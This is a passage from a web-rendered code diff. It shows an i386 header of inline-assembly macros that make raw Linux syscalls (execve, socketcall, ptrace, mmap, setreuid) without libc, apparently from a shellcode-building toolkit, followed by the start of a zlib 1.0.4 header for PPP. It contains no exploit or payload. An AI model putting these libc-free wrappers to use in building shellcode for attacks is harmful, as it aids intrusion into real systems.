"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
|
||||||
|
"g" ((long)(arg6))); \
|
||||||
|
__sfsyscall_return(type,__res); \
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#define _sfoldsyscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
|
||||||
|
type5,arg5,type6,arg6) \
|
||||||
|
type _##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5, type6 arg6) \
|
||||||
|
{ \
|
||||||
|
long __res; \
|
||||||
|
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||||
|
"pushl %7\n\t" \
|
||||||
|
"pushl %6\n\t" \
|
||||||
|
"pushl %5\n\t" \
|
||||||
|
"pushl %4\n\t" \
|
||||||
|
"pushl %3\n\t" \
|
||||||
|
"pushl %2\n\t" \
|
||||||
|
"movl %%esp, %%ebx\n\t" \
|
||||||
|
"int $0x80\n\t" \
|
||||||
|
"add $0x18,%%esp\n\t" \
|
||||||
|
"popl %%ebx" \
|
||||||
|
: "=a" (__res) \
|
||||||
|
: "0" (__NR_##name),"g" ((long)(arg1)),"g" ((long)(arg2)), \
|
||||||
|
"g" ((long)(arg3)),"g" ((long)(arg4)),"g" ((long)(arg5)), \
|
||||||
|
"g" ((long)(arg6))); \
|
||||||
|
__sfsyscall_return(type,__res); \
|
||||||
|
}
|
||||||
|
|
||||||
|
/******** Some constants *********/
|
||||||
|
|
||||||
|
#define O_RDONLY 00
|
||||||
|
#define O_WRONLY 01
|
||||||
|
#define O_RDWR 02
|
||||||
|
#define O_CREAT 0100
|
||||||
|
#define O_TRUNC 01000
|
||||||
|
#define O_APPEND 02000
|
||||||
|
|
||||||
|
|
||||||
|
/******** Syscalls *********/
|
||||||
|
|
||||||
|
|
||||||
|
/****
|
||||||
|
static inline _sfsyscall3(int, read, int, fd, void *, buf, long, count)
|
||||||
|
static inline _sfsyscall3(int, write, int, fd, void *, buf, long, count)
|
||||||
|
static inline _sfsyscall3(int, execve, char *, s, char **, argv, char **,envp)
|
||||||
|
static inline _sfsyscall1(int, close, int, fd)
|
||||||
|
static inline _sfsyscall3(int, open, char *, path, int, mode, int, flags)
|
||||||
|
|
||||||
|
static inline _sfsyscall2(int, setreuid, int, reuid, int, euid)
|
||||||
|
static inline _sfsyscall1(int, chroot, char *,path)
|
||||||
|
static inline _sfsyscall1(int, dup, int, fd)
|
||||||
|
|
||||||
|
static inline _sfsyscall2(int, dup2, int, ofd, int, nfd)
|
||||||
|
|
||||||
|
static inline _sfsyscall1(int, chdir, char *, path)
|
||||||
|
static inline _sfsyscall3(int, chown, char *, path, int, uid, int, gid)
|
||||||
|
static inline _sfsyscall2(int, chmod, char *, path, int, mode)
|
||||||
|
static inline _sfsyscall0(int, fork)
|
||||||
|
static inline _sfsyscall1(int, exit, int, status)
|
||||||
|
static inline _sfsyscall0(int, getuid)
|
||||||
|
static inline _sfsyscall0(int, geteuid)
|
||||||
|
static inline _sfsyscall2(int, socketcall, int, call, unsigned long *,args)
|
||||||
|
static inline _sfsyscall4(int, ioctl, int,d, int,request, char *,argp, int,len)
|
||||||
|
****/
|
||||||
|
|
||||||
|
typedef void (*sighandler_t)(int);
|
||||||
|
|
||||||
|
struct dirent {
|
||||||
|
int d_ino;
|
||||||
|
int d_off;
|
||||||
|
unsigned short int d_reclen;
|
||||||
|
char d_name[256];
|
||||||
|
};
|
||||||
|
|
||||||
|
struct tms {
|
||||||
|
clock_t tms_utime; /* user time */
|
||||||
|
clock_t tms_stime; /* system time */
|
||||||
|
clock_t tms_cutime; /* user time of children */
|
||||||
|
clock_t tms_cstime; /* system time of children */
|
||||||
|
};
|
||||||
|
typedef int cap_user_header_t;
|
||||||
|
typedef int cap_user_data_t;
|
||||||
|
struct vm86plus_struct {};
|
||||||
|
typedef int ptrdiff_t;
|
||||||
|
struct utimbuf {};
|
||||||
|
struct __sysctl_args {};
|
||||||
|
struct timezone {};
|
||||||
|
struct sysinfo{};
|
||||||
|
struct statfs {};
|
||||||
|
struct pollfd {};
|
||||||
|
struct kernel_sym {};
|
||||||
|
struct module {};
|
||||||
|
struct utsname {};
|
||||||
|
struct ustat {};
|
||||||
|
struct stat {};
|
||||||
|
struct sched_param {};
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
static inline _sfsyscall3(int, execve, char *, s, char **, argv, char **,envp)
|
||||||
|
static inline _sfsyscall1(int, exit, int, status)
|
||||||
|
static inline _sfsyscall2(int, socketcall, int, call, unsigned long *,args)
|
||||||
|
static inline _sfsyscall4(int, ioctl, int,d, int,request, char *,argp, int,len)
|
||||||
|
static inline _sfsyscall4(long, ptrace, int, request, pid_t, pid, void *,addr, void *,data)
|
||||||
|
|
||||||
|
static inline _sfsyscall6(void *,mmap, void *,start, size_t,length, int,prot , int,flags, int,fd, off_t,offset)
|
||||||
|
static inline _sfoldsyscall6(void *,oldmmap, void *,start, size_t,length, int,prot , int,flags, int,fd, off_t,offset)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/********
|
||||||
|
*
|
||||||
|
* Generated by
|
||||||
|
*
|
||||||
|
*****
|
||||||
|
awk '/define.*NR/{print substr($2,6)}' include/sfsyscall.h |
|
||||||
|
while read a; do b=/usr/share/man/man2/$a.2.gz;
|
||||||
|
[ -e "$b" ] && zgrep " $a(.*;$" $b; done |
|
||||||
|
perl -pe 's/(.BI?|\\f.|"|;$)/ /g; s/\( *void *\)/( )/; s/ +/ /g; s/(\(| +, +)/, /g; s/( [^ ]+(,| *\)))/,$1/g;'
|
||||||
|
while read a; do
|
||||||
|
echo "static inline _sfsyscall$((`echo "$a" | tr " " x | tr , " " |
|
||||||
|
wc -w`/2-1))( $a"; done
|
||||||
|
*****
|
||||||
|
*
|
||||||
|
* - modified pipe() --> sys_pipe(unsigned long * fildes)
|
||||||
|
* - removed 2 fcntl()
|
||||||
|
* - removed 2 sysfs()
|
||||||
|
* - removed 1 getgroups()
|
||||||
|
* - replaced misinterpreted select()
|
||||||
|
* - remove extra _sysctl()
|
||||||
|
*
|
||||||
|
************/
|
||||||
|
|
||||||
|
|
||||||
|
static inline _sfsyscall0( pid_t, fork )
|
||||||
|
static inline _sfsyscall3( ssize_t, read, int, fd, void *, buf, size_t, count )
|
||||||
|
static inline _sfsyscall3( ssize_t, write, int, fd, const void *, buf, size_t, count )
|
||||||
|
static inline _sfsyscall3( int, open, const char *, pathname, int, flags, mode_t, mode )
|
||||||
|
static inline _sfsyscall1( int, close, int, fd )
|
||||||
|
static inline _sfsyscall3( pid_t, waitpid, pid_t, pid, int *, status, int, options )
|
||||||
|
static inline _sfsyscall2( int, creat, const char *, pathname, mode_t, mode )
|
||||||
|
static inline _sfsyscall2( int, link, const char *, oldpath, const char *, newpath )
|
||||||
|
static inline _sfsyscall1( int, unlink, const char *, pathname )
|
||||||
|
static inline _sfsyscall1( int, chdir, const char *, path )
|
||||||
|
static inline _sfsyscall1( time_t, time, time_t *, t )
|
||||||
|
static inline _sfsyscall3( int, mknod, const char *, pathname, mode_t, mode, dev_t, dev )
|
||||||
|
static inline _sfsyscall2( int, chmod, const char *, path, mode_t, mode )
|
||||||
|
static inline _sfsyscall3( int, lchown, const char *, path, uid_t, owner, gid_t, group )
|
||||||
|
static inline _sfsyscall3( off_t, lseek, int, fildes, off_t, offset, int, whence )
|
||||||
|
static inline _sfsyscall0( pid_t, getpid )
|
||||||
|
static inline _sfsyscall1( int, umount, const char *, dir )
|
||||||
|
static inline _sfsyscall0( uid_t, getuid )
|
||||||
|
static inline _sfsyscall1( int, stime, time_t *, t )
|
||||||
|
static inline _sfsyscall1( unsigned int, alarm, unsigned int, seconds )
|
||||||
|
static inline _sfsyscall0( int, pause )
|
||||||
|
static inline _sfsyscall2( int, utime, const char *, filename, struct utimbuf *, buf )
|
||||||
|
static inline _sfsyscall2( int, access, const char *, pathname, int, mode )
|
||||||
|
static inline _sfsyscall1( int, nice, int, inc )
|
||||||
|
static inline _sfsyscall0( int, sync )
|
||||||
|
static inline _sfsyscall2( int, kill, pid_t, pid, int, sig )
|
||||||
|
static inline _sfsyscall2( int, rename, const char *, oldpath, const char *, newpath )
|
||||||
|
static inline _sfsyscall2( int, mkdir, const char *, pathname, mode_t, mode )
|
||||||
|
static inline _sfsyscall1( int, rmdir, const char *, pathname )
|
||||||
|
static inline _sfsyscall1( int, dup, int, oldfd )
|
||||||
|
static inline _sfsyscall1( int, pipe, unsigned long *, filedes)
|
||||||
|
static inline _sfsyscall1( clock_t, times, struct tms *, buf )
|
||||||
|
static inline _sfsyscall1( int, brk, void *, end_data_segment )
|
||||||
|
static inline _sfsyscall0( gid_t, getgid )
|
||||||
|
static inline _sfsyscall2( sighandler_t, signal, int, signum, sighandler_t, handler )
|
||||||
|
static inline _sfsyscall0( uid_t, geteuid )
|
||||||
|
static inline _sfsyscall0( gid_t, getegid )
|
||||||
|
static inline _sfsyscall1( int, acct, const char *, filename )
|
||||||
|
static inline _sfsyscall3( int, fcntl, int, fd, int, cmd, long, arg )
|
||||||
|
static inline _sfsyscall2( int, setpgid, pid_t, pid, pid_t, pgid )
|
||||||
|
static inline _sfsyscall1( mode_t, umask, mode_t, mask )
|
||||||
|
static inline _sfsyscall1( int, chroot, const char *, path )
|
||||||
|
static inline _sfsyscall2( int, ustat, dev_t, dev, struct ustat *, ubuf )
|
||||||
|
static inline _sfsyscall2( int, dup2, int, oldfd, int, newfd )
|
||||||
|
static inline _sfsyscall0( pid_t, getppid )
|
||||||
|
static inline _sfsyscall0( pid_t, getpgrp )
|
||||||
|
static inline _sfsyscall0( pid_t, setsid )
|
||||||
|
static inline _sfsyscall2( int, setreuid, uid_t, ruid, uid_t, euid )
|
||||||
|
static inline _sfsyscall2( int, setregid, gid_t, rgid, gid_t, egid )
|
||||||
|
static inline _sfsyscall1( int, sigsuspend, const sigset_t *, mask )
|
||||||
|
static inline _sfsyscall1( int, sigpending, sigset_t *, set )
|
||||||
|
static inline _sfsyscall2( int, sethostname, const char *, name, size_t, len )
|
||||||
|
static inline _sfsyscall2( int, gettimeofday, struct timeval *, tv, struct timezone *, tz )
|
||||||
|
static inline _sfsyscall2( int, setgroups, size_t, size, const gid_t *, list )
|
||||||
|
static inline _sfsyscall5( int, select, int, n, fd_set *, readfds, fd_set *, writefds, fd_set *, exceptfds, struct timeval *, timeout)
|
||||||
|
static inline _sfsyscall2( int, symlink, const char *, oldpath, const char *, newpath )
|
||||||
|
static inline _sfsyscall3( int, readlink, const char *, path, char *, buf, size_t, bufsiz )
|
||||||
|
static inline _sfsyscall1( int, uselib, const char *, library )
|
||||||
|
static inline _sfsyscall2( int, swapon, const char *, path, int, swapflags )
|
||||||
|
static inline _sfsyscall3( int, readdir, unsigned int, fd, struct dirent *, dirp, unsigned int, count )
|
||||||
|
static inline _sfsyscall2( int, munmap, void *, start, size_t, length )
|
||||||
|
static inline _sfsyscall2( int, truncate, const char *, path, off_t, length )
|
||||||
|
static inline _sfsyscall2( int, ftruncate, int, fd, off_t, length )
|
||||||
|
static inline _sfsyscall2( int, fchmod, int, fildes, mode_t, mode )
|
||||||
|
static inline _sfsyscall3( int, fchown, int, fd, uid_t, owner, gid_t, group )
|
||||||
|
static inline _sfsyscall2( int, getpriority, int, which, int, who )
|
||||||
|
static inline _sfsyscall3( int, setpriority, int, which, int, who, int, prio )
|
||||||
|
static inline _sfsyscall2( int, statfs, const char *, path, struct statfs *, buf )
|
||||||
|
static inline _sfsyscall2( int, fstatfs, int, fd, struct statfs *, buf )
|
||||||
|
static inline _sfsyscall3( int, ioperm, unsigned long, from, unsigned long, num, int, turn_on )
|
||||||
|
static inline _sfsyscall3( int, syslog, int, type, char *, bufp, int, len )
|
||||||
|
static inline _sfsyscall2( int, stat, const char *, file_name, struct stat *, buf )
|
||||||
|
static inline _sfsyscall2( int, lstat, const char *, file_name, struct stat *, buf )
|
||||||
|
static inline _sfsyscall2( int, fstat, int, filedes, struct stat *, buf )
|
||||||
|
static inline _sfsyscall1( int, iopl, int, level )
|
||||||
|
static inline _sfsyscall0( int, vhangup )
|
||||||
|
static inline _sfsyscall0( int, idle )
|
||||||
|
static inline _sfsyscall1( int, swapoff, const char *, path )
|
||||||
|
static inline _sfsyscall1( int, sysinfo, struct sysinfo *, info )
|
||||||
|
static inline _sfsyscall1( int, fsync, int, fd )
|
||||||
|
#ifdef notyet
|
||||||
|
static inline _sfsyscall1( int, sigreturn, unsigned long, __unused )
|
||||||
|
#endif
|
||||||
|
static inline _sfsyscall2( int, setdomainname, const char *, name, size_t, len )
|
||||||
|
static inline _sfsyscall1( int, uname, struct utsname *, buf )
|
||||||
|
static inline _sfsyscall3( int, mprotect, const void *, addr, size_t, len, int, prot )
|
||||||
|
static inline _sfsyscall2( caddr_t, create_module, const char *, name, size_t, size )
|
||||||
|
static inline _sfsyscall2( int, init_module, const char *, name, struct module *, image )
|
||||||
|
static inline _sfsyscall1( int, delete_module, const char *, name )
|
||||||
|
static inline _sfsyscall1( int, get_kernel_syms, struct kernel_sym *, table )
|
||||||
|
static inline _sfsyscall1( pid_t, getpgid, pid_t, pid )
|
||||||
|
//static inline _sfsyscall2( int, sysfs, int, option, const char *, fsname )
|
||||||
|
static inline _sfsyscall3( int, sysfs, int, option, unsigned int, fs_index, char *, buf )
|
||||||
|
//static inline _sfsyscall1( int, sysfs, int, option )
|
||||||
|
static inline _sfsyscall1( int, personality, unsigned long, persona )
|
||||||
|
static inline _sfsyscall1( int, setfsuid, uid_t, fsuid )
|
||||||
|
static inline _sfsyscall1( int, setfsgid, uid_t, fsgid )
|
||||||
|
static inline _sfsyscall3( int, getdents, unsigned int, fd, struct dirent *, dirp, unsigned int, count )
|
||||||
|
static inline _sfsyscall3( int, msync, const void *, start, size_t, length, int, flags )
|
||||||
|
static inline _sfsyscall3( int, readv, int, fd, const struct iovec *, vector, int, count )
|
||||||
|
static inline _sfsyscall3( int, writev, int, fd, const struct iovec *, vector, int, count )
|
||||||
|
static inline _sfsyscall1( pid_t, getsid, pid_t, pid )
|
||||||
|
static inline _sfsyscall1( int, fdatasync, int, fd )
|
||||||
|
static inline _sfsyscall1( int, _sysctl, struct __sysctl_args *, args )
|
||||||
|
static inline _sfsyscall2( int, mlock, const void *, addr, size_t, len )
|
||||||
|
static inline _sfsyscall2( int, munlock, const void *, addr, size_t, len )
|
||||||
|
static inline _sfsyscall1( int, mlockall, int, flags )
|
||||||
|
static inline _sfsyscall0( int, munlockall )
|
||||||
|
static inline _sfsyscall2( int, sched_setparam, pid_t, pid, const struct sched_param *, p )
|
||||||
|
static inline _sfsyscall2( int, sched_getparam, pid_t, pid, struct sched_param *, p )
|
||||||
|
static inline _sfsyscall1( int, sched_getscheduler, pid_t, pid )
|
||||||
|
static inline _sfsyscall0( int, sched_yield )
|
||||||
|
static inline _sfsyscall1( int, sched_get_priority_max, int, policy )
|
||||||
|
static inline _sfsyscall1( int, sched_get_priority_min, int, policy )
|
||||||
|
static inline _sfsyscall2( int, sched_rr_get_interval, pid_t, pid, struct timespec *, tp )
|
||||||
|
static inline _sfsyscall2( int, nanosleep, const struct timespec *, req, struct timespec *, rem )
|
||||||
|
static inline _sfsyscall3( int, setresuid, uid_t, ruid, uid_t, euid, uid_t, suid )
|
||||||
|
static inline _sfsyscall3( int, getresuid, uid_t *, ruid, uid_t *, euid, uid_t *, suid )
|
||||||
|
static inline _sfsyscall2( int, vm86, unsigned long, fn, struct vm86plus_struct *, v86 )
|
||||||
|
static inline _sfsyscall3( int, poll, struct pollfd *, ufds, unsigned int, nfds, int, timeout )
|
||||||
|
static inline _sfsyscall3( ptrdiff_t, prctl, int, option, int, arg2, int, arg3 )
|
||||||
|
static inline _sfsyscall4( ssize_t, pread, int, fd, void *, buf, size_t, count, off_t, offset )
|
||||||
|
static inline _sfsyscall3( int, chown, const char *, path, uid_t, owner, gid_t, group )
|
||||||
|
static inline _sfsyscall2( int, capget, cap_user_header_t, header, cap_user_data_t, data )
|
||||||
|
static inline _sfsyscall2( int, capset, cap_user_header_t, header, const cap_user_data_t, data )
|
||||||
|
static inline _sfsyscall0( pid_t, vfork )
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,993 @@
|
||||||
|
/*
|
||||||
|
* This file is derived from zlib.h and zconf.h from the zlib-1.0.4
|
||||||
|
* distribution by Jean-loup Gailly and Mark Adler, with some additions
|
||||||
|
* by Paul Mackerras to aid in implementing Deflate compression and
|
||||||
|
* decompression for PPP packets.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* ==FILEVERSION 971127==
|
||||||
|
*
|
||||||
|
* This marker is used by the Linux installation script to determine
|
||||||
|
* whether an up-to-date version of this file is already installed.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/* +++ zlib.h */
|
||||||
|
/*-
|
||||||
|
zlib.h -- interface of the 'zlib' general purpose compression library
|
||||||
|
version 1.0.4, Jul 24th, 1996.
|
||||||
|
|
||||||
|
Copyright (C) 1995-1996 Jean-loup Gailly and Mark Adler
|
||||||
|
|
||||||
|
This software is provided 'as-is', without any express or implied
|
||||||
|
warranty. In no event will the authors be held liable for any damages
|
||||||
|
arising from the use of this software.
|
||||||
|
|
||||||
|
Permission is granted to anyone to use this software for any purpose,
|
||||||
|
including commercial applications, and to alter it and redistribute it
|
||||||
|
freely, subject to the following restrictions:
|
||||||
|
|
||||||
|
1. The origin of this software must not be misrepresented; you must not
|
||||||
|
claim that you wrote the original software. If you use this software
|
||||||
|
in a product, an acknowledgment in the product documentation would be
|
||||||
|
appreciated but is not required.
|
||||||
|
2. Altered source versions must be plainly marked as such, and must not be
|
||||||
|
misrepresented as being the original software.
|
||||||
|
3. This notice may not be removed or altered from any source distribution.
|
||||||
|
|
||||||
|
Jean-loup Gailly Mark Adler
|
||||||
|
gzip@prep.ai.mit.edu madler@alumni.caltech.edu
|
||||||
|
*/
|
||||||
|
/*
|
||||||
|
The data format used by the zlib library is described by RFCs (Request for
|
||||||
|
Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
|
||||||
|
(zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _ZLIB_H
|
||||||
|
#define _ZLIB_H
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* +++ zconf.h */
|
||||||
|
/* zconf.h -- configuration of the zlib compression library
|
||||||
|
* Copyright (C) 1995-1996 Jean-loup Gailly.
|
||||||
|
* For conditions of distribution and use, see copyright notice in zlib.h
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* From: zconf.h,v 1.20 1996/07/02 15:09:28 me Exp $ */
|
||||||
|
|
||||||
|
#ifndef _ZCONF_H
|
||||||
|
#define _ZCONF_H
|
||||||
|
|
||||||
|
/*
|
||||||
|
* If you *really* need a unique prefix for all types and library functions,
|
||||||
|
* compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
|
||||||
|
*/
|
||||||
|
#ifdef Z_PREFIX
|
||||||
|
# define deflateInit_ z_deflateInit_
|
||||||
|
# define deflate z_deflate
|
||||||
|
# define deflateEnd z_deflateEnd
|
||||||
|
# define inflateInit_ z_inflateInit_
|
||||||
|
# define inflate z_inflate
|
||||||
|
# define inflateEnd z_inflateEnd
|
||||||
|
# define deflateInit2_ z_deflateInit2_
|
||||||
|
# define deflateSetDictionary z_deflateSetDictionary
|
||||||
|
# define deflateCopy z_deflateCopy
|
||||||
|
# define deflateReset z_deflateReset
|
||||||
|
# define deflateParams z_deflateParams
|
||||||
|
# define inflateInit2_ z_inflateInit2_
|
||||||
|
# define inflateSetDictionary z_inflateSetDictionary
|
||||||
|
# define inflateSync z_inflateSync
|
||||||
|
# define inflateReset z_inflateReset
|
||||||
|
# define compress z_compress
|
||||||
|
# define uncompress z_uncompress
|
||||||
|
# define adler32 z_adler32
|
||||||
|
#if 0
|
||||||
|
# define crc32 z_crc32
|
||||||
|
# define get_crc_table z_get_crc_table
|
||||||
|
#endif
|
||||||
|
|
||||||
|
# define Byte z_Byte
|
||||||
|
# define uInt z_uInt
|
||||||
|
# define uLong z_uLong
|
||||||
|
# define Bytef z_Bytef
|
||||||
|
# define charf z_charf
|
||||||
|
# define intf z_intf
|
||||||
|
# define uIntf z_uIntf
|
||||||
|
# define uLongf z_uLongf
|
||||||
|
# define voidpf z_voidpf
|
||||||
|
# define voidp z_voidp
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
|
||||||
|
# define WIN32
|
||||||
|
#endif
|
||||||
|
#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
|
||||||
|
# ifndef __32BIT__
|
||||||
|
# define __32BIT__
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
#if defined(__MSDOS__) && !defined(MSDOS)
|
||||||
|
# define MSDOS
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Compile with -DMAXSEG_64K if the alloc function cannot allocate more
|
||||||
|
* than 64k bytes at a time (needed on systems with 16-bit int).
|
||||||
|
*/
|
||||||
|
#if defined(MSDOS) && !defined(__32BIT__)
|
||||||
|
# define MAXSEG_64K
|
||||||
|
#endif
|
||||||
|
#ifdef MSDOS
|
||||||
|
# define UNALIGNED_OK
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC)
|
||||||
|
# define STDC
|
||||||
|
#endif
|
||||||
|
#if (defined(__STDC__) || defined(__cplusplus)) && !defined(STDC)
|
||||||
|
# define STDC
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef STDC
|
||||||
|
# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
|
||||||
|
# define const
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Some Mac compilers merge all .h files incorrectly: */
|
||||||
|
#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
|
||||||
|
# define NO_DUMMY_DECL
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Maximum value for memLevel in deflateInit2 */
|
||||||
|
#ifndef MAX_MEM_LEVEL
|
||||||
|
# ifdef MAXSEG_64K
|
||||||
|
# define MAX_MEM_LEVEL 8
|
||||||
|
# else
|
||||||
|
# define MAX_MEM_LEVEL 9
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Maximum value for windowBits in deflateInit2 and inflateInit2 */
|
||||||
|
#ifndef MAX_WBITS
|
||||||
|
# define MAX_WBITS 15 /* 32K LZ77 window */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* The memory requirements for deflate are (in bytes):
|
||||||
|
1 << (windowBits+2) + 1 << (memLevel+9)
|
||||||
|
that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values)
|
||||||
|
plus a few kilobytes for small objects. For example, if you want to reduce
|
||||||
|
the default memory requirements from 256K to 128K, compile with
|
||||||
|
make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
|
||||||
|
Of course this will generally degrade compression (there's no free lunch).
|
||||||
|
|
||||||
|
The memory requirements for inflate are (in bytes) 1 << windowBits
|
||||||
|
that is, 32K for windowBits=15 (default value) plus a few kilobytes
|
||||||
|
for small objects.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Type declarations */
|
||||||
|
|
||||||
|
#ifndef OF /* function prototypes */
|
||||||
|
# ifdef STDC
|
||||||
|
# define OF(args) args
|
||||||
|
# else
|
||||||
|
# define OF(args) ()
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* The following definitions for FAR are needed only for MSDOS mixed
|
||||||
|
* model programming (small or medium model with some far allocations).
|
||||||
|
* This was tested only with MSC; for other MSDOS compilers you may have
|
||||||
|
* to define NO_MEMCPY in zutil.h. If you don't need the mixed model,
|
||||||
|
* just define FAR to be empty.
|
||||||
|
*/
|
||||||
|
#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
|
||||||
|
/* MSC small or medium model */
|
||||||
|
# define SMALL_MEDIUM
|
||||||
|
# ifdef _MSC_VER
|
||||||
|
# define FAR __far
|
||||||
|
# else
|
||||||
|
# define FAR far
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
|
||||||
|
# ifndef __32BIT__
|
||||||
|
# define SMALL_MEDIUM
|
||||||
|
# define FAR __far
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
#ifndef FAR
|
||||||
|
# define FAR
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef unsigned char Byte; /* 8 bits */
|
||||||
|
typedef unsigned int uInt; /* 16 bits or more */
|
||||||
|
typedef unsigned long uLong; /* 32 bits or more */
|
||||||
|
|
||||||
|
#if defined(__BORLANDC__) && defined(SMALL_MEDIUM)
|
||||||
|
/* Borland C/C++ ignores FAR inside typedef */
|
||||||
|
# define Bytef Byte FAR
|
||||||
|
#else
|
||||||
|
typedef Byte FAR Bytef;
|
||||||
|
#endif
|
||||||
|
typedef char FAR charf;
|
||||||
|
typedef int FAR intf;
|
||||||
|
typedef uInt FAR uIntf;
|
||||||
|
typedef uLong FAR uLongf;
|
||||||
|
|
||||||
|
#ifdef STDC
|
||||||
|
typedef void FAR *voidpf;
|
||||||
|
typedef void *voidp;
|
||||||
|
#else
|
||||||
|
typedef Byte FAR *voidpf;
|
||||||
|
typedef Byte *voidp;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* Compile with -DZLIB_DLL for Windows DLL support */
|
||||||
|
#if (defined(_WINDOWS) || defined(WINDOWS)) && defined(ZLIB_DLL)
|
||||||
|
# include <windows.h>
|
||||||
|
# define EXPORT WINAPI
|
||||||
|
#else
|
||||||
|
# define EXPORT
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* _ZCONF_H */
|
||||||
|
/* --- zconf.h */
|
||||||
|
|
||||||
|
#define ZLIB_VERSION "1.0.4P"
|
||||||
|
|
||||||
|
/*
|
||||||
|
The 'zlib' compression library provides in-memory compression and
|
||||||
|
decompression functions, including integrity checks of the uncompressed
|
||||||
|
data. This version of the library supports only one compression method
|
||||||
|
(deflation) but other algorithms may be added later and will have the same
|
||||||
|
stream interface.
|
||||||
|
|
||||||
|
For compression the application must provide the output buffer and
|
||||||
|
may optionally provide the input buffer for optimization. For decompression,
|
||||||
|
the application must provide the input buffer and may optionally provide
|
||||||
|
the output buffer for optimization.
|
||||||
|
|
||||||
|
Compression can be done in a single step if the buffers are large
|
||||||
|
enough (for example if an input file is mmap'ed), or can be done by
|
||||||
|
repeated calls of the compression function. In the latter case, the
|
||||||
|
application must provide more input and/or consume the output
|
||||||
|
(providing more output space) before each call.
|
||||||
|
|
||||||
|
The library does not install any signal handler. It is recommended to
|
||||||
|
add at least a handler for SIGSEGV when decompressing; the library checks
|
||||||
|
the consistency of the input data whenever possible but may go nuts
|
||||||
|
for some forms of corrupted input.
|
||||||
|
*/
|
||||||
|
|
||||||
|
typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
|
||||||
|
typedef void (*free_func) OF((voidpf opaque, voidpf address));
|
||||||
|
|
||||||
|
struct internal_state;
|
||||||
|
|
||||||
|
typedef struct z_stream_s {
|
||||||
|
Bytef *next_in; /* next input byte */
|
||||||
|
uInt avail_in; /* number of bytes available at next_in */
|
||||||
|
uLong total_in; /* total nb of input bytes read so far */
|
||||||
|
|
||||||
|
Bytef *next_out; /* next output byte should be put there */
|
||||||
|
uInt avail_out; /* remaining free space at next_out */
|
||||||
|
uLong total_out; /* total nb of bytes output so far */
|
||||||
|
|
||||||
|
const char *msg; /* last error message, NULL if no error */
|
||||||
|
struct internal_state FAR *state; /* not visible by applications */
|
||||||
|
|
||||||
|
alloc_func zalloc; /* used to allocate the internal state */
|
||||||
|
free_func zfree; /* used to free the internal state */
|
||||||
|
voidpf opaque; /* private data object passed to zalloc and zfree */
|
||||||
|
|
||||||
|
int data_type; /* best guess about the data type: ascii or binary */
|
||||||
|
uLong adler; /* adler32 value of the uncompressed data */
|
||||||
|
uLong reserved; /* reserved for future use */
|
||||||
|
} z_stream;
|
||||||
|
|
||||||
|
typedef z_stream FAR *z_streamp;
|
||||||
|
|
||||||
|
/*
|
||||||
|
The application must update next_in and avail_in when avail_in has
|
||||||
|
dropped to zero. It must update next_out and avail_out when avail_out
|
||||||
|
has dropped to zero. The application must initialize zalloc, zfree and
|
||||||
|
opaque before calling the init function. All other fields are set by the
|
||||||
|
compression library and must not be updated by the application.
|
||||||
|
|
||||||
|
The opaque value provided by the application will be passed as the first
|
||||||
|
parameter for calls of zalloc and zfree. This can be useful for custom
|
||||||
|
memory management. The compression library attaches no meaning to the
|
||||||
|
opaque value.
|
||||||
|
|
||||||
|
zalloc must return Z_NULL if there is not enough memory for the object.
|
||||||
|
On 16-bit systems, the functions zalloc and zfree must be able to allocate
|
||||||
|
exactly 65536 bytes, but will not be required to allocate more than this
|
||||||
|
if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,
|
||||||
|
pointers returned by zalloc for objects of exactly 65536 bytes *must*
|
||||||
|
have their offset normalized to zero. The default allocation function
|
||||||
|
provided by this library ensures this (see zutil.c). To reduce memory
|
